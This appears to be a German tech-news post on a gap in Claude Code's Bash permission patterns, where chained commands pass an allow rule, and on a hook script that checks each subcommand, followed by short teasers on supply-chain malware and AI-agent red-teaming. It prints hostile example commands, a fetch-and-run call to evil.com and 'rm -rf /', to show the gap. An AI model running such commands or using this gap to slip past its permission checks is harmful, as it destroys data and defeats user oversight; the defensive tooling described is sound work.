Intelligenter Bash-Berechtigungshook für Claude-Code verhindert Umgehung von Verbundbefehlen

Sicherheitslücke im Berechtigungssystem von Claude Code
Das Berechtigungssystem von Claude Code weist eine Schwachstelle auf, bei der zusammengesetzte Bash-Befehle Zulassungs-/Verweigerungsmuster umgehen können. Wenn Sie einen Befehl wie Bash(git status:*) zulassen, vergleicht Claude Code den gesamten Befehlsstring mit diesem Muster. Das bedeutet, dass ein zusammengesetzter Befehl wie git status && curl -s http://evil.com | sh auf git status* passen und automatisch genehmigt würde, obwohl er curl- und sh-Befehle verkettet.
Die Lösung: claude-hooks
Die Lösung ist ein einzelnes Python-Skript namens claude-hooks, das als PreToolUse-Hook läuft. Es erfüllt mehrere wichtige Funktionen:
- Zerlegt zusammengesetzte Befehle durch Aufteilung an
&&,||,;,|, Zeilenumbrüchen und extrahiert rekursiv$()- und Backtick-Subshell-Inhalte - Normalisiert jeden Teilbefehl durch Entfernen von Umgebungsvariablen-Präfixen, I/O-Umleitungen, Heredoc-Inhalten und Shell-Keywords
- Prüft jeden Teilbefehl einzeln gegen Ihre vorhandenen
permissions.allow- undpermissions.deny-Muster - Verweigerung gewinnt – wenn ein Teilbefehl auf ein Verweigerungsmuster passt, wird der gesamte Befehl verweigert
- Alle müssen zulassen – automatische Genehmigung erfolgt nur, wenn jeder Teilbefehl auf ein Zulassungsmuster passt
- Fällt elegant zurück – wenn ein Teilbefehl unbekannt ist, erhalten Sie weiterhin die normale Berechtigungsaufforderung
Einrichtungsanleitung
Die Installation dauert etwa 30 Sekunden:
curl -fsSL -o ~/.claude/hooks/smart_approve.py \
https://raw.githubusercontent.com/liberzon/claude-hooks/main/smart_approve.pyZu ~/.claude/settings.json hinzufügen:
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"hooks": [
{
"type": "command",
"command": "python3 ~/.claude/hooks/smart_approve.py"
}
]
}
]
}
}Das Tool hat keine Abhängigkeiten außer Python 3 und erfordert keine Konfiguration – es liest Ihre vorhandenen Berechtigungsmuster.
Beispielverhalten
git status: Sowohl mit als auch ohne Hook erlaubtgit add . && git commit -m "msg": Sowohl mit als auch ohne Hook erlaubt (beide passen aufgit *)git status && rm -rf /: Ohne Hook erlaubt, mit Hook wird eine Aufforderung angezeigt (rm -rf /hat keine Zulassung)`npm test | tee output.log`: ErlaubtFOO=bar git push: Ohne Hook möglicherweise nicht passend, mit Hook erlaubt (Umgebungsvariable entfernt)
Das Repository ist verfügbar unter https://github.com/liberzon/claude-hooks unter MIT-Lizenz.
📖 Read the full source: r/ClaudeAI
👀 Siehe auch

Axios 1.14.1 kompromittiert mit Malware, zielt auf KI-gestützte Entwicklungs-Workflows ab
Axios Version 1.14.1 wurde in einem Supply-Chain-Angriff kompromittiert, der stillschweigend [email protected] einbindet, einen verschleierten RAT-Dropper. Entwickler, die KI-Coding-Assistenten wie Claude verwenden, sollten sofort ihre Lockfiles und Maschinen auf Infektionen überprüfen.

Open-Source-Spielplatz für Red-Teaming von KI-Agenten mit veröffentlichten Exploits
Fabraix hat eine Live-Umgebung als Open Source veröffentlicht, um KI-Agenten-Abwehrmaßnahmen durch adversarische Herausforderungen zu testen. Jede Herausforderung setzt einen Live-Agenten mit echten Werkzeugen und veröffentlichten Systemprompts ein, wobei gewinnende Gesprächsprotokolle und Schutzmaßnahmen-Logs öffentlich dokumentiert werden.

Claude Code VS Code Erweiterung gibt Auswahlstatus über geschlossene Dateien und neue Sitzungen hinweg preis
Ein Fehler in der VS Code-Erweiterung von Claude Code speichert den Auswahlstatus einer Datei zwischen, selbst nachdem die Datei geschlossen wurde, wodurch vertrauliche Daten (z. B. Supabase-Dienstrollenschlüssel) in einer brandneuen CLI-Sitzung offengelegt werden. Vollständige Reproduktionsschritte und GitHub-Issue #58886.

Lieferkettenangriff nutzt unsichtbare Unicode-Zeichen zur Umgehung der Erkennung
Forscher entdeckten 151 schädliche Pakete, die vom 3. bis 9. März auf GitHub hochgeladen wurden und unsichtbare Unicode-Zeichen verwendeten, um bösartigen Code zu verbergen. Der Angriff zielt auf GitHub-, NPM- und Open-VSX-Repositorys mit Paketen ab, die legitim erscheinen, aber versteckte Nutzlasten enthalten.